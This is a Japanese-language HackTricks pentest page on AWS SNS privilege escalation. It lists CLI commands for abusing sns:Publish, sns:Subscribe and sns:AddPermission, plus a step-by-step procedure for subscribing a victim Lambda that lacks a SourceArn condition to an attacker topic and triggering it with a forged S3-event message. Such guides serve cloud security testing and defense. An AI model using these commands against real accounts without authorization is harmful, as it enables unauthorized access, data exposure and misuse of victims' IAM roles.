# AWS - SNS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

For more information check:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### `sns:Publish`

攻撃者はSNSトピックに悪意のある、または不要なメッセージを送信し、データの破損、意図しないアクションの発動、あるいはリソースの枯渇を引き起こす可能性があります。
```bash
aws sns publish --topic-arn <value> --message <value>
```
**潜在的な影響**: 脆弱性の悪用、データの破損、意図しない操作、またはリソースの枯渇。

### `sns:Subscribe`

攻撃者は SNS トピックを購読することで、メッセージへの不正アクセスを得たり、そのトピックに依存するアプリケーションの正常な動作を妨害したりする可能性があります。
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**潜在的な影響**: メッセージへの不正アクセス（機密情報）、影響を受けたトピックに依存するアプリケーションのサービス中断。

### `sns:AddPermission`

攻撃者は不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらに権限を取得する可能性があります。
```bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**Potential Impact**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作。トピックに依存するアプリケーションの正常な動作の妨害。

### Invoke a Lambda by abusing wildcard SNS permission (no `SourceArn`)

Lambda 関数のリソースベースのポリシーが `sns.amazonaws.com` に対して `SourceArn` でソーストピックを制限せずに invoke を許可している場合、任意の SNS topic（別アカウントのものを含む）がサブスクライブして関数をトリガーできます。基本的な SNS 権限を持つ攻撃者は、攻撃者制御の入力で Lambda をその IAM ロール下で実行させることができます。

> [!TIP]
> TODO: これは本当にクロスアカウントで行えますか？

Preconditions
- 被害者の Lambda ポリシーが以下のようなステートメントを含み、`SourceArn` 条件がない:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
```
悪用手順（同一アカウントまたはクロスアカウント）
```bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
```
**潜在的な影響**: victim Lambda はその IAM role で実行され、attacker-controlled input を処理します。これにより、権限に応じて関数が機密性の高い操作（例：S3 への書き込み、secrets へのアクセス、リソースの変更）を実行するよう悪用される可能性があります。


{{#include ../../../../banners/hacktricks-training.md}}
